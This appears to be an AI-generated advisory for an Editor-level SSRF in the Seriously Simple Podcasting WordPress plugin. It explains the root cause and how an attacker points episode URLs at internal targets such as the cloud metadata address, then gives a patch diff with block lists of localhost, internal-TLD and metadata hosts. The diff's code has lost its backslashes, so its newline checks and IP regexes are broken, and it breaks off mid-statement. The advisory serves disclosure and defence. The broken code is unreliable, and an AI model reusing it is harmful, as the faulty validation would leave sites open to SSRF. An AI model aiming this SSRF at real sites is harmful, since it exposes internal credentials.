Atomic Edge Proof of Concept automated generator using AI diff analysis
Published : March 18, 2026

CVE-2026-24360: Seriously Simple Podcasting <= 3.14.1 – Authenticated (Editor+) Server-Side Request Forgery (seriously-simple-podcasting)

Severity Medium (CVSS 5.5)
CWE 918
Vulnerable Version 3.14.1
Patched Version 3.14.2
Disclosed January 12, 2026

Analysis Overview

Atomic Edge analysis of CVE-2026-24360:
The Seriously Simple Podcasting WordPress plugin versions up to 3.14.1 contain a server-side request forgery (SSRF) vulnerability. The flaw exists in the file download functionality, allowing authenticated attackers with Editor-level permissions or higher to make arbitrary web requests from the application server. This vulnerability received a CVSS score of 5.5 (Medium severity).

Root Cause:
The vulnerability originates in the `download_file()` method within `/seriously-simple-podcasting/php/classes/controllers/class-frontend-controller.php`. The method retrieves a file URL from the `get_enclosure()` function and passes it through `apply_filters(‘ssp_enclosure_url’, $file, $episode_id, $referrer)` without proper validation. The original `validate_file()` function only checked if the file parameter started with ‘http’, allowing any URL scheme including those targeting internal services. The `wp_redirect($file, 302)` call on line 1037 in the vulnerable version would follow any URL provided, including those targeting internal network resources.

Exploitation:
An attacker with Editor+ privileges can exploit this vulnerability by manipulating the podcast episode file URL. The attack vector requires access to modify podcast episode metadata through the WordPress admin interface. The attacker would set the episode enclosure URL to target internal services (like `http://169.254.169.254/latest/meta-data/` for AWS metadata, `http://localhost:8080/internal-api/`, or `http://192.168.1.1/admin/`). When a user visits the podcast download endpoint (`/?podcast_episode={episode_id}`), the plugin redirects to the attacker-controlled URL, making the request from the vulnerable server.

Patch Analysis:
The patch introduces comprehensive URL validation through the new `validate_file_url()` method. It adds multiple security layers: allowed URL scheme restriction (`ALLOWED_SCHEMES = array(‘http’, ‘https’)`), trusted domain whitelisting with caching, IP address validation against private ranges, DNS resolution validation, and pattern-based blocking for localhost, internal TLDs, and cloud metadata endpoints. The `block_invalid_url()` method provides detailed logging and returns HTTP 403 for blocked attempts. The validation now occurs both before and after filter application, preventing SSRF through the `ssp_enclosure_url` filter hook.

Impact:
Successful exploitation allows attackers to make HTTP requests to internal services from the vulnerable WordPress server. This can lead to sensitive information disclosure from cloud metadata services, internal APIs, database administration interfaces, or other internal systems. Attackers could potentially access credentials, configuration data, or internal application data that would normally be inaccessible from external networks. The vulnerability requires Editor-level access, limiting its impact to sites where attackers can obtain such privileges through other means.

Differential between vulnerable and patched code

Code Diff
--- a/seriously-simple-podcasting/php/classes/controllers/class-frontend-controller.php
+++ b/seriously-simple-podcasting/php/classes/controllers/class-frontend-controller.php
@@ -43,6 +43,25 @@
 	 * */
 	protected $removed_filters;

+	/**
+	 * Cache TTL for valid URL validation results (15 minutes).
+	 */
+	const CACHE_TTL_VALID = 900; // 15 * MINUTE_IN_SECONDS
+
+	/**
+	 * Cache TTL for invalid URL validation results (5 minutes).
+	 */
+	const CACHE_TTL_INVALID = 300; // 5 * MINUTE_IN_SECONDS
+
+	/**
+	 * Cache TTL for trusted domain validation results (1 hour).
+	 */
+	const CACHE_TTL_TRUSTED = 3600; // HOUR_IN_SECONDS
+
+	/**
+	 * Allowed URL schemes for file downloads.
+	 */
+	const ALLOWED_SCHEMES = array( 'http', 'https' );

 	/**
 	 * Frontend_Controller constructor.
@@ -711,128 +730,288 @@
 	}

 	/**
-	 * Download file from `podcast_episode` query variable
+	 * Get episode ID from WordPress query
 	 *
-	 * @return void
+	 * @since 3.14.2
+	 * @return int Episode ID or 0 if not found.
 	 */
-	public function download_file() {
+	protected function get_episode_id_from_query() {
+		global $wp_query;
+		return isset( $wp_query->query_vars['podcast_episode'] ) ? intval( $wp_query->query_vars['podcast_episode'] ) : 0;
+	}

-		if ( ! ssp_is_podcast_download() ) {
-			return;
+	/**
+	 * Clean file URL by removing newlines
+	 *
+	 * File URLs may contain newlines which need to be removed before processing.
+	 *
+	 * @since 3.14.2
+	 * @param string $file File URL to clean.
+	 * @return string Cleaned file URL.
+	 */
+	protected function clean_file_url( $file ) {
+		if ( false !== strpos( $file, "n" ) ) {
+			$parts = explode( "n", $file );
+			$file  = $parts[0];
 		}
+		return $file;
+	}
+
+	/**
+	 * Encode file URL for safe transmission
+	 *
+	 * Encodes spaces and removes newlines from file URLs to ensure
+	 * safe transmission over HTTP.
+	 *
+	 * @since 3.14.2
+	 * @param string $file File URL to encode.
+	 * @return string Encoded file URL.
+	 */
+	protected function encode_file_url( $file ) {
+		$file = str_replace( ' ', '%20', $file );
+		$file = str_replace( PHP_EOL, '', $file );
+		return $file;
+	}

+	/**
+	 * Get download referrer from request
+	 *
+	 * Checks query vars and GET parameters for referrer information.
+	 *
+	 * @since 3.14.2
+	 * @return string Referrer value or empty string.
+	 */
+	protected function get_download_referrer() {
 		global $wp_query;

-		// Get requested episode ID
-		$episode_id = intval( $wp_query->query_vars['podcast_episode'] );
+		$referrer = '';
+		if ( isset( $wp_query->query_vars['podcast_ref'] ) && $wp_query->query_vars['podcast_ref'] ) {
+			$referrer = $wp_query->query_vars['podcast_ref'];
+		} elseif ( isset( $_GET['ref'] ) ) {
+			$referrer = sanitize_text_field( wp_unslash( $_GET['ref'] ) );
+		}

-		if ( isset( $episode_id ) && $episode_id ) {
+		return $referrer;
+	}

-			// Get episode post object and validate access
-			$episode = get_post( $episode_id );
+	/**
+	 * Trigger download action hook
+	 *
+	 * Allows other plugins to hook into the download process.
+	 * Skipped for test-nginx referrer to avoid interference with testing.
+	 *
+	 * @since 3.14.2
+	 * @param string   $file     File URL being downloaded.
+	 * @param WP_Post $episode  Episode post object.
+	 * @param string   $referrer Download referrer.
+	 * @return void
+	 */
+	protected function trigger_download_action( $file, $episode, $referrer ) {
+		if ( 'test-nginx' !== $referrer ) {
+			// Allow other actions - functions hooked on here must not output any data
+			do_action( 'ssp_file_download', $file, $episode, $referrer );
+		}
+	}

-			// Check episode access - returns false if access denied (error response handled internally)
-			if ( ! $this->check_episode_file_access( $episode_id, $episode ) ) {
-				return;
-			}
+	/**
+	 * Set cache control headers
+	 *
+	 * Sets HTTP headers to prevent caching of download responses.
+	 *
+	 * @since 3.14.2
+	 * @return void
+	 */
+	protected function set_cache_control_headers() {
+		header( 'Pragma: no-cache' );
+		header( 'Expires: 0' );
+		header( 'Cache-Control: must-revalidate, post-check=0, pre-check=0' );
+		header( 'Robots: none' );
+	}

-			$file = $this->get_enclosure( $episode_id );
-			if ( false !== strpos( $file, "n" ) ) {
-				$parts = explode( "n", $file );
-				$file  = $parts[0];
-			}
+	/**
+	 * Get file size with caching
+	 *
+	 * Attempts to get file size from multiple sources in order:
+	 * 1. WordPress cache
+	 * 2. Post meta
+	 * 3. Filesystem (for local attachments)
+	 *
+	 * @since 3.14.2
+	 * @param int    $episode_id Episode post ID.
+	 * @param string $file       File URL.
+	 * @return int|false File size in bytes or false if not determinable.
+	 */
+	protected function get_file_size( $episode_id, $file ) {
+		// Check cache first.
+		$size = wp_cache_get( $episode_id, 'filesize_raw' );

-			$this->validate_file( $file );
+		$this->log( __METHOD__ . ': Cached size: ' . $size );

-			// Get file referrer
-			$referrer = '';
-			if ( isset( $wp_query->query_vars['podcast_ref'] ) && $wp_query->query_vars['podcast_ref'] ) {
-				$referrer = $wp_query->query_vars['podcast_ref'];
-			} elseif ( isset( $_GET['ref'] ) ) {
-				$referrer = sanitize_text_field( wp_unslash( $_GET['ref'] ) );
-			}
+		// Nothing in the cache, let's see if we can figure it out.
+		if ( false === $size ) {

-			if ( 'test-nginx' !== $referrer ) {
-				// Allow other actions - functions hooked on here must not output any data
-				do_action( 'ssp_file_download', $file, $episode, $referrer );
-			}
+			// Check post meta.
+			$size = get_post_meta( $episode_id, 'filesize_raw', true );

-			// Set necessary headers
-			header( 'Pragma: no-cache' );
-			header( 'Expires: 0' );
-			header( 'Cache-Control: must-revalidate, post-check=0, pre-check=0' );
-			header( 'Robots: none' );
+			$this->log( __METHOD__ . ': Size raw: ' . $size );

-			$original_file = $file;
+			if ( empty( $size ) ) {

-			// Dynamically change the file URL. Is used internally for Ads.
-			$file = apply_filters( 'ssp_enclosure_url', $file, $episode_id, $referrer );
-			$this->validate_file( $file );
+				// Try to get size from filesystem for local attachments.
+				$attachment_id = $this->get_attachment_id_from_url( $file );

-			// Check file referrer
-			if ( 'download' == $referrer && $file == $original_file ) {
+				if ( ! empty( $attachment_id ) ) {
+					$attached_file = get_attached_file( $attachment_id );
+					if ( $attached_file && file_exists( $attached_file ) ) {
+						$size = filesize( $attached_file );
+						$this->log( __METHOD__ . ': Estimated size: ' . $size );
+						update_post_meta( $episode_id, 'filesize_raw', $size );
+					}
+				}
+			}

-				// Set size of file
-				// Do we have anything in Cache/DB?
-				$size = wp_cache_get( $episode_id, 'filesize_raw' );
+			// Update the cache.
+			wp_cache_set( $episode_id, $size, 'filesize_raw' );
+		}

-				$this->log( __METHOD__ . ': Cached size: ' . $size );
+		return $size;
+	}

-				// Nothing in the cache, let's see if we can figure it out.
-				if ( false === $size ) {
+	/**
+	 * Set download headers
+	 *
+	 * Sets HTTP headers required for file downloads.
+	 *
+	 * @since 3.14.2
+	 * @param int      $episode_id Episode post ID.
+	 * @param int|bool $size       File size in bytes or false.
+	 * @return void
+	 */
+	protected function set_download_headers( $episode_id, $size ) {
+		// Send Content-Length header if size is known.
+		if ( ! empty( $size ) ) {
+			header( 'Content-Length: ' . $size );
+		}

-					// Do we have anything in post_meta?
-					$size = get_post_meta( $episode_id, 'filesize_raw', true );
+		// Force file download.
+		header( 'Content-Type: application/force-download' );

-					$this->log( __METHOD__ . ': Size raw: ' . $size );
+		// Set other relevant headers.
+		header( 'Content-Description: File Transfer' );
+		header( 'Content-Disposition: attachment; filename="' . esc_html( $this->get_file_name( $episode_id ) ) . '";' );
+		header( 'Content-Transfer-Encoding: binary' );
+	}

-					if ( empty( $size ) ) {
+	/**
+	 * Serve file as direct download
+	 *
+	 * Handles the actual file serving for direct downloads with proper headers
+	 * and file size detection.
+	 *
+	 * @since 3.14.2
+	 * @param int    $episode_id Episode post ID.
+	 * @param string $file       File URL to serve.
+	 * @return void Exits after serving file.
+	 */
+	protected function serve_download_file( $episode_id, $file ) {
+		// Get file size with caching.
+		$size = $this->get_file_size( $episode_id, $file );

-						// Let's see if we can figure out the path...
-						$attachment_id = $this->get_attachment_id_from_url( $file );
+		// Set download headers.
+		$this->set_download_headers( $episode_id, $size );

-						if ( ! empty( $attachment_id ) ) {
-							$size = filesize( get_attached_file( $attachment_id ) );
-							$this->log( __METHOD__ . ': Estimated size: ' . $size );
-							update_post_meta( $episode_id, 'filesize_raw', $size );
-						}
-					}
+		// Encode file URL for safe transmission.
+		$file = $this->encode_file_url( $file );

-					// Update the cache
-					wp_cache_set( $episode_id, $size, 'filesize_raw' );
-				}
+		// Re-validate URL immediately before file access.
+		if ( ! $this->validate_file_url( $file ) ) {
+			$this->block_invalid_url( $file, 'Pre-access validation failed' );
+		}

-				// Send Content-Length header
-				if ( ! empty( $size ) ) {
-					header( 'Content-Length: ' . $size );
-				}
+		// Use ssp_readfile_chunked() if allowed on the server or simply access file directly.
+		@ssp_readfile_chunked( $file ) or header( 'Location: ' . $file );
+	}

-				// Force file download
-				header( 'Content-Type: application/force-download' );
+	/**
+	 * Serve file as redirect
+	 *
+	 * Redirects to the file URL for non-download referrers.
+	 *
+	 * @since 3.14.2
+	 * @param string $file File URL to redirect to.
+	 * @return void Exits after redirect.
+	 */
+	protected function serve_redirect_file( $file ) {
+		// Encode file URL for safe transmission.
+		$file = $this->encode_file_url( $file );

-				// Set other relevant headers
-				header( 'Content-Description: File Transfer' );
-				header( 'Content-Disposition: attachment; filename="' . esc_html( $this->get_file_name( $episode_id ) ) . '";' );
-				header( 'Content-Transfer-Encoding: binary' );
+		// Re-validate URL immediately before redirect.
+		if ( ! $this->validate_file_url( $file ) ) {
+			$this->block_invalid_url( $file, 'Pre-redirect validation failed' );
+		}

-				// Encode spaces in file names until this is fixed in core (https://core.trac.wordpress.org/ticket/36998)
-				$file = str_replace( ' ', '%20', $file );
-				$file = str_replace( PHP_EOL, '', $file );
+		// For all other referrers redirect to the raw file.
+		wp_redirect( $file, 302 );
+	}

-				// Use ssp_readfile_chunked() if allowed on the server or simply access file directly
-				@ssp_readfile_chunked( $file ) or header( 'Location: ' . $file );
-			} else {
+	/**
+	 * Download file from `podcast_episode` query variable
+	 *
+	 * This method orchestrates the file download process:
+	 * 1. Validates the download request
+	 * 2. Checks episode access permissions
+	 * 3. Prepares and validates file URL
+	 * 4. Sets appropriate headers
+	 * 5. Serves file or redirects based on referrer
+	 *
+	 * @since 1.0.0
+	 * @since 3.14.2 Refactored for better maintainability and testability.
+	 * @return void
+	 */
+	public function download_file() {
+		// Early return if not a download request.
+		if ( ! ssp_is_podcast_download() ) {
+			return;
+		}

-				// Encode spaces in file names until this is fixed in core (https://core.trac.wordpress.org/ticket/36998)
-				$file = str_replace( ' ', '%20', $file );
+		// Get and validate episode ID.
+		$episode_id = $this->get_episode_id_from_query();
+		if ( ! $episode_id ) {
+			return;
+		}

-				// For all other referrers redirect to the raw file
-				wp_redirect( $file, 302 );
-			}
+		// Get episode post object and validate access.
+		$episode = get_post( $episode_id );
+		if ( ! $this->check_episode_file_access( $episode_id, $episode ) ) {
+			return;
+		}
+
+		// Get and prepare file URL.
+		$file = $this->get_enclosure( $episode_id );
+		$file = $this->clean_file_url( $file );
+		$this->validate_file( $file );

-			// Exit to prevent other processes running later on
-			exit;
+		// Get referrer and trigger download hooks.
+		$referrer = $this->get_download_referrer();
+		$this->trigger_download_action( $file, $episode, $referrer );
+
+		// Set cache control headers.
+		$this->set_cache_control_headers();
+
+		// Apply filters to allow dynamic URL modification (used for ads, etc.).
+		$original_file = $file;
+		$file          = apply_filters( 'ssp_enclosure_url', $file, $episode_id, $referrer );
+		$this->validate_file( $file );
+
+		// Serve file based on referrer type.
+		if ( 'download' === $referrer && $file === $original_file ) {
+			$this->serve_download_file( $episode_id, $file );
+		} else {
+			$this->serve_redirect_file( $file );
 		}
+
+		// Exit to prevent other processes running later on.
+		exit;
 	}

 	/**
@@ -916,18 +1095,647 @@
 	}

 	/**
-	 * @param string $file
+	 * Check if URL is from a trusted domain
 	 *
+	 * Trusted domains are well-known CDNs and podcast hosting providers that are
+	 * considered safe. URLs from these domains bypass expensive validation checks.
+	 *
+	 * @since 3.14.2
+	 * @param string $host The hostname to check.
+	 * @return bool True if trusted, false otherwise.
+	 */
+	protected function is_trusted_domain( $host ) {
+		static $trusted_domains = null;
+
+		// Initialize once per request.
+		if ( null === $trusted_domains ) {
+			$trusted_domains = array();
+
+			// Add current WordPress site domain if it meets validation requirements.
+			$site_url = parse_url( home_url(), PHP_URL_HOST );
+			if ( $site_url && $this->is_public_domain( $site_url ) ) {
+				$trusted_domains[] = strtolower( $site_url );
+			}
+
+			// Add upload directory domain if it meets validation requirements.
+			$upload_dir = wp_upload_dir();
+			if ( ! empty( $upload_dir['baseurl'] ) ) {
+				$upload_host = parse_url( $upload_dir['baseurl'], PHP_URL_HOST );
+				if ( $upload_host && $upload_host !== $site_url && $this->is_public_domain( $upload_host ) ) {
+					$trusted_domains[] = strtolower( $upload_host );
+				}
+			}
+
+			// Add well-known CDNs and podcast hosting providers.
+			$cdn_domains = array(
+				// Castos CDN.
+				'castos.com',
+
+				// Major podcast hosting providers.
+				'blubrry.com',
+
+				// Amazon S3/CloudFront.
+				's3.amazonaws.com',
+				'cloudfront.net',
+
+				// Google Cloud Storage.
+				'storage.googleapis.com',
+				'storage.cloud.google.com',
+
+				// WordPress.com.
+				'files.wordpress.com',
+
+				// Common CDNs.
+				'akamaized.net',
+				'fastly.net',
+			);
+
+			$trusted_domains = array_merge( $trusted_domains, $cdn_domains );
+
+			// Allow filtering for extensibility.
+			$trusted_domains = apply_filters( 'ssp_trusted_cdn_domains', $trusted_domains );
+		}
+
+		// Check exact match.
+		if ( in_array( $host, $trusted_domains, true ) ) {
+			return true;
+		}
+
+		// Check if subdomain of trusted domain.
+		foreach ( $trusted_domains as $trusted ) {
+			if ( substr( $host, - strlen( '.' . $trusted ) ) === '.' . $trusted ) {
+				return true;
+			}
+		}
+
+		return false;
+	}
+
+	/**
+	 * Check if a domain is publicly accessible
+	 *
+	 * Validates that the domain is suitable for external file access.
+	 * Internal and reserved addresses are excluded from trusted sources.
+	 *
+	 * @since 3.14.2
+	 * @param string $host The hostname to check.
+	 * @return bool True if public, false if private/localhost.
+	 */
+	protected function is_public_domain( $host ) {
+		// Check localhost patterns.
+		if ( in_array( strtolower( $host ), $this->get_localhost_patterns(), true ) ) {
+			return false;
+		}
+
+		// Check IP address ranges.
+		if ( filter_var( $host, FILTER_VALIDATE_IP ) ) {
+			return ! $this->is_private_ip( $host );
+		}
+
+		// Domain name - proceed with validation.
+		return true;
+	}
+
+	/**
+	 * Check if an IP address is private or reserved
+	 *
+	 * @since 3.14.2
+	 * @param string $ip The IP address to check.
+	 * @return bool True if private/reserved, false if public.
+	 */
+	protected function is_private_ip( $ip ) {
+		// Check IP address using PHP filters.
+		return ! filter_var(
+			$ip,
+			FILTER_VALIDATE_IP,
+			FILTER_FLAG_NO_PRIV_RANGE | FILTER_FLAG_NO_RES_RANGE
+		);
+	}
+
+	/**
+	 * Get validation cache key for a URL
+	 *
+	 * @since 3.14.2
+	 * @param string $url The URL to generate cache key for.
+	 * @return string Cache key.
+	 */
+	protected function get_validation_cache_key( $url ) {
+		return 'ssp_url_valid_' . md5( $url );
+	}
+
+	/**
+	 * Cache URL validation result
+	 *
+	 * @since 3.14.2
+	 * @param string $cache_key Cache key.
+	 * @param bool   $is_valid  Whether URL is valid.
+	 * @param int    $duration  Cache duration in seconds.
 	 * @return void
 	 */
+	protected function cache_validation_result( $cache_key, $is_valid, $duration ) {
+		set_transient( $cache_key, $is_valid ? 1 : 0, $duration );
+	}
+
+	/**
+	 * Check if URL matches blocked patterns
+	 *
+	 * Performs quick validation checks against blocked patterns that don't require DNS resolution.
+	 * Checks for: user credentials, suspicious fragments, non-HTTP protocols, localhost,
+	 * special TLDs, and cloud metadata endpoints.
+	 *
+	 * @since 3.14.2
+	 * @param string $url URL to check.
+	 * @return bool True if URL matches blocked patterns, false otherwise.
+	 */
+	protected function url_matches_blocked_patterns( $url ) {
+		// Parse URL.
+		$parsed = wp_parse_url( $url );
+		if ( ! $parsed || ! isset( $parsed['host'] ) ) {
+			return true;
+		}
+
+		$host = strtolower( $parsed['host'] );
+
+		// Block URLs with user info.
+		if ( isset( $parsed['user'] ) || isset( $parsed['pass'] ) ) {
+			return true;
+		}
+
+		// Block suspicious fragments.
+		if ( isset( $parsed['fragment'] ) && strpos( $parsed['fragment'], '@' ) !== false ) {
+			return true;
+		}
+
+		// Only allow HTTP and HTTPS protocols.
+		if ( ! isset( $parsed['scheme'] ) || ! in_array( strtolower( $parsed['scheme'] ), self::ALLOWED_SCHEMES, true ) ) {
+			return true;
+		}
+
+		// Block localhost variations.
+		$localhost_patterns = $this->get_localhost_patterns();
+		if ( in_array( $host, $localhost_patterns, true ) ) {
+			return true;
+		}
+
+		// Block special TLDs.
+		$blocked_tlds = $this->get_blocked_tlds();
+		foreach ( $blocked_tlds as $tld ) {
+			if ( substr( $host, - strlen( $tld ) ) === $tld ) {
+				return true;
+			}
+		}
+
+		// Block cloud metadata hostnames.
+		$metadata_hosts = $this->get_metadata_hosts();
+		if ( in_array( $host, $metadata_hosts, true ) ) {
+			return true;
+		}
+
+		return false;
+	}
+
+	/**
+	 * Get localhost patterns to block
+	 *
+	 * @since 3.14.2
+	 * @return array Localhost patterns.
+	 */
+	protected function get_localhost_patterns() {
+		$patterns = array(
+			'localhost',
+			'localhost.localdomain',
+		);
+
+		return apply_filters( 'ssp_blocked_localhost_patterns', $patterns );
+	}
+
+	/**
+	 * Get blocked TLDs
+	 *
+	 * @since 3.14.2
+	 * @return array Blocked TLDs.
+	 */
+	protected function get_blocked_tlds() {
+		$tlds = array( '.local', '.internal', '.private', '.lan' );
+
+		return apply_filters( 'ssp_blocked_tlds', $tlds );
+	}
+
+	/**
+	 * Get cloud metadata hostnames to block
+	 *
+	 * @since 3.14.2
+	 * @return array Metadata hostnames.
+	 */
+	protected function get_metadata_hosts() {
+		$hosts = array(
+			'metadata.google.internal',
+			'169.254.169.254',
+		);
+
+		return apply_filters( 'ssp_blocked_metadata_hosts', $hosts );
+	}
+
+	/**
+	 * Validate URL IP address
+	 *
+	 * Handles both direct IP URLs and hostname resolution.
+	 *
+	 * @since 3.14.2
+	 * @param string $host Hostname to validate.
+	 * @return bool True if valid, false otherwise.
+	 */
+	protected function validate_url_ip( $host ) {
+		// Extract IP from host (handles encoded formats).
+		$ip = $this->extract_ip_from_host( $host );
+
+		if ( ! $ip ) {
+			// Not a valid IP, could be a hostname - resolve and validate it.
+			$resolved_ips = $this->resolve_hostname( $host );
+
+			if ( empty( $resolved_ips ) ) {
+				// Could not resolve - check if it looks like a valid external hostname.
+				if ( ! filter_var( $host, FILTER_VALIDATE_DOMAIN, FILTER_FLAG_HOSTNAME ) ) {
+					return false;
+				}
+				// Hostname appears valid but couldn't resolve - allow it.
+				return true;
+			}
+
+			// Validate all resolved IPs.
+			foreach ( $resolved_ips as $resolved_ip ) {
+				if ( ! $this->validate_ip_address( $resolved_ip ) ) {
+					return false;
+				}
+			}
+
+			return true;
+		}
+
+		// Validate the extracted IP.
+		return $this->validate_ip_address( $ip );
+	}
+
+	/**
+	 * Validate file URL for download requests
+	 *
+	 * Validates URLs to ensure they meet security requirements for podcast file access.
+	 * Uses result caching and trusted domain whitelist for performance optimization.
+	 * Checks protocol, hostname format, IP ranges, and performs DNS validation.
+	 *
+	 * @since 3.14.2
+	 * @param string $url The URL to validate.
+	 * @return bool True if URL is valid, false otherwise.
+	 */
+	public function validate_file_url( $url ) {
+		// Basic validation.
+		if ( ! is_string( $url ) || empty( $url ) ) {
+			return false;
+		}
+
+		// Parse URL for trusted domain check.
+		$parsed = wp_parse_url( $url );
+		if ( ! $parsed || ! isset( $parsed['host'] ) ) {
+			return false;
+		}
+
+		$host = strtolower( $parsed['host'] );
+
+		// Fast path: Trusted domain bypass for performance.
+		if ( $this->is_trusted_domain( $host ) ) {
+			$cache_key = $this->get_validation_cache_key( $url );
+			$this->cache_validation_result( $cache_key, true, self::CACHE_TTL_TRUSTED );
+			return true;
+		}
+
+		// Check cache after trusted domain check (cache key generation is deferred).
+		$cache_key = $this->get_validation_cache_key( $url );
+		$cached_result = get_transient( $cache_key );
+		if ( false !== $cached_result ) {
+			return (bool) $cached_result;
+		}
+
+		// Fast rejections before expensive operations.
+		if ( $this->url_matches_blocked_patterns( $url ) ) {
+			$this->cache_validation_result( $cache_key, false, self::CACHE_TTL_INVALID );
+			return false;
+		}
+
+		// Use WordPress's built-in URL validation (moderately expensive).
+		if ( function_exists( 'wp_http_validate_url' ) ) {
+			if ( ! wp_http_validate_url( $url ) ) {
+				$this->cache_validation_result( $cache_key, false, self::CACHE_TTL_INVALID );
+				return false;
+			}
+		}
+
+		// Validate IP address (expensive: DNS resolution may occur).
+		$is_valid = $this->validate_url_ip( $host );
+		$cache_duration = $is_valid ? self::CACHE_TTL_VALID : self::CACHE_TTL_INVALID;
+		$this->cache_validation_result( $cache_key, $is_valid, $cache_duration );
+
+		return $is_valid;
+	}
+
+	/**
+	 * Resolve hostname to IP addresses
+	 *
+	 * Performs DNS lookup for both IPv4 and IPv6 addresses with caching.
+	 * Cache duration is intentionally short (5 minutes) to balance performance
+	 * with protection against DNS rebinding attacks.
+	 *
+	 * @since 3.14.2
+	 * @since 3.14.2 Added DNS result caching for performance.
+	 * @param string $host The hostname to resolve.
+	 * @return array Array of resolved IP addresses, empty array if resolution fails.
+	 */
+	protected function resolve_hostname( $host ) {
+		// Check DNS cache first.
+		$cache_key = 'ssp_dns_' . md5( $host );
+		$cached_ips = get_transient( $cache_key );
+
+		if ( false !== $cached_ips && is_array( $cached_ips ) ) {
+			return $cached_ips;
+		}
+
+		$resolved_ips = array();
+
+		// Try DNS lookup for both IPv4 and IPv6.
+		$dns_records = @dns_get_record( $host, DNS_A + DNS_AAAA );
+
+		if ( ! empty( $dns_records ) && is_array( $dns_records ) ) {
+			foreach ( $dns_records as $record ) {
+				if ( isset( $record['ip'] ) ) {
+					// IPv4 record.
+					$resolved_ips[] = $record['ip'];
+				} elseif ( isset( $record['ipv6'] ) ) {
+					// IPv6 record.
+					$resolved_ips[] = $record['ipv6'];
+				}
+			}
+		} else {
+			// Fallback to gethostbyname for IPv4 only.
+			$ip = @gethostbyname( $host );
+			// gethostbyname returns the hostname if it fails.
+			if ( $ip !== $host && filter_var( $ip, FILTER_VALIDATE_IP ) ) {
+				$resolved_ips[] = $ip;
+			}
+		}
+
+		$resolved_ips = array_unique( $resolved_ips );
+
+		// Cache DNS results for 5 minutes.
+		// Intentionally short to prevent DNS rebinding attacks while improving performance.
+		set_transient( $cache_key, $resolved_ips, 5 * MINUTE_IN_SECONDS );
+
+		return $resolved_ips;
+	}
+
+	/**
+	 * Extract IP address from hostname
+	 *
+	 * Handles IPv4, IPv6, and various IP encoding formats (decimal, hex, octal).
+	 *
+	 * @since 3.14.2
+	 * @param string $host The hostname to parse.
+	 * @return string|false IP address or false if not an IP.
+	 */
+	protected function extract_ip_from_host( $host ) {
+		// Handle IPv6 in brackets [::1].
+		if ( preg_match( '/^[(.*)]$/', $host, $matches ) ) {
+			$ipv6 = $matches[1];
+			// Validate IPv6.
+			if ( filter_var( $ipv6, FILTER_VALIDATE_IP, FILTER_FLAG_IPV6 ) ) {
+				return $ipv6;
+			}
+			return false;
+		}
+
+		// Check if it's a standard IPv4 or IPv6.
+		if ( filter_var( $host, FILTER_VALIDATE_IP ) ) {
+			return $host;
+		}
+
+		// Handle decimal IP (e.g., 2130706433 = 127.0.0.1).
+		if ( ctype_digit( $host ) && $host[0] !== '0' ) {
+			$long = (int) $host;
+			// Convert to standard IPv4.
+			return long2ip( $long );
+		}
+
+		// Handle octal IP (e.g., 017700000001 = 127.0.0.1).
+		if ( preg_match( '/^0[0-7]+$/', $host ) ) {
+			$long = octdec( $host );
+			return long2ip( $long );
+		}
+
+		// Handle hex IP (e.g., 0x7f.0x00.0x00.0x01 = 127.0.0.1 or 0x7f000001).
+		if ( preg_match( '/^0x[da-f]+$/i', $host ) ) {
+			$long = hexdec( $host );
+			return long2ip( $long );
+		}
+
+		// Handle dotted decimal/hex/octal notation.
+		if ( strpos( $host, '.' ) !== false ) {
+			$parts = explode( '.', $host );
+			if ( count( $parts ) === 4 ) {
+				$bytes = array();
+				foreach ( $parts as $part ) {
+					// Hex.
+					if ( preg_match( '/^0x[da-f]+$/i', $part ) ) {
+						$bytes[] = hexdec( $part );
+					} elseif ( preg_match( '/^0d+$/', $part ) ) {
+						// Octal.
+						$bytes[] = octdec( $part );
+					} elseif ( ctype_digit( $part ) ) {
+						// Decimal.
+						$bytes[] = (int) $part;
+					} else {
+						// Not a valid IP format.
+						return false;
+					}
+				}
+				// Validate bytes are in range.
+				foreach ( $bytes as $byte ) {
+					if ( $byte < 0 || $byte > 255 ) {
+						return false;
+					}
+				}
+				return implode( '.', $bytes );
+			}
+		}
+
+		return false;
+	}
+
+	/**
+	 * Validate IP address for external access
+	 *
+	 * Checks if an IP address is valid for external file access requests.
+	 * Validates against private/reserved IP ranges.
+	 *
+	 * @since 3.14.2
+	 * @param string $ip The IP address to check.
+	 * @return bool True if IP is valid, false if it's private/reserved.
+	 */
+	protected function validate_ip_address( $ip ) {
+		// Validate it's a proper IP.
+		if ( ! filter_var( $ip, FILTER_VALIDATE_IP ) ) {
+			return false;
+		}
+
+		// Use PHP's built-in check for private/reserved IPs.
+		// This covers: 10.0.0.0/8, 172.16.0.0/12, 192.168.0.0/16, 127.0.0.0/8, etc.
+		if ( ! filter_var( $ip, FILTER_VALIDATE_IP, FILTER_FLAG_NO_PRIV_RANGE | FILTER_FLAG_NO_RES_RANGE ) ) {
+			return false;
+		}
+
+		// Additional check for IPv6 localhost.
+		$ipv6_localhost = array( '::1', '0:0:0:0:0:0:0:1' );
+		if ( in_array( $ip, $ipv6_localhost, true ) ) {
+			return false;
+		}
+
+		// Check for IPv4-mapped IPv6 localhost (::ffff:127.0.0.1).
+		if ( strpos( $ip, '::ffff:127.' ) === 0 ) {
+			return false;
+		}
+
+		return true;
+	}
+
+	/**
+	 * Validate a download file URL
+	 *
+	 * @since 3.14.2
+	 * @param string $file File path.
+	 * @return string|void Error message if validation fails, void on success.
+	 */
 	protected function validate_file( $file ) {
-		// Ensure that $file is a URL
+		// Ensure that $file is a URL.
 		$is_url = is_string( $file ) && ( 0 === strpos( $file, 'http' ) );

-		// Exit if file is not URL
+		// Exit if file is not URL.
 		if ( ! $is_url ) {
 			$this->send_404();
 		}
+
+		// Validate URL format and accessibility.
+		if ( ! $this->validate_file_url( $file ) ) {
+			$this->block_invalid_url( $file, 'URL validation failed' );
+		}
+	}
+
+	/**
+	 * Block invalid URL and log access attempt
+	 *
+	 * Terminates the request when URL validation fails.
+	 * Logs the attempt for monitoring and returns 403 Forbidden.
+	 *
+	 * @since 3.14.2
+	 * @param string $url     The blocked URL.
+	 * @param string $context Context where the block occurred.
+	 * @return void Terminates execution with wp_die().
+	 */
+	protected function block_invalid_url( $url, $context = 'Invalid URL' ) {
+		// Get client IP address with proxy support.
+		$client_ip = $this->get_client_ip();
+
+		// Log the blocked attempt for monitoring.
+		error_log(
+			sprintf(
+				'SSP: Blocked URL access - URL: %s, User ID: %d, IP: %s, Reason: %s, Context: %s',
+				$url,
+				get_current_user_id(),
+				$client_ip,
+				$context,
+				wp_json_encode( array(
+					'user_agent' => isset( $_SERVER['HTTP_USER_AGENT'] ) ? sanitize_text_field( wp_unslash( $_SERVER['HTTP_USER_AGENT'] ) ) : 'unknown',
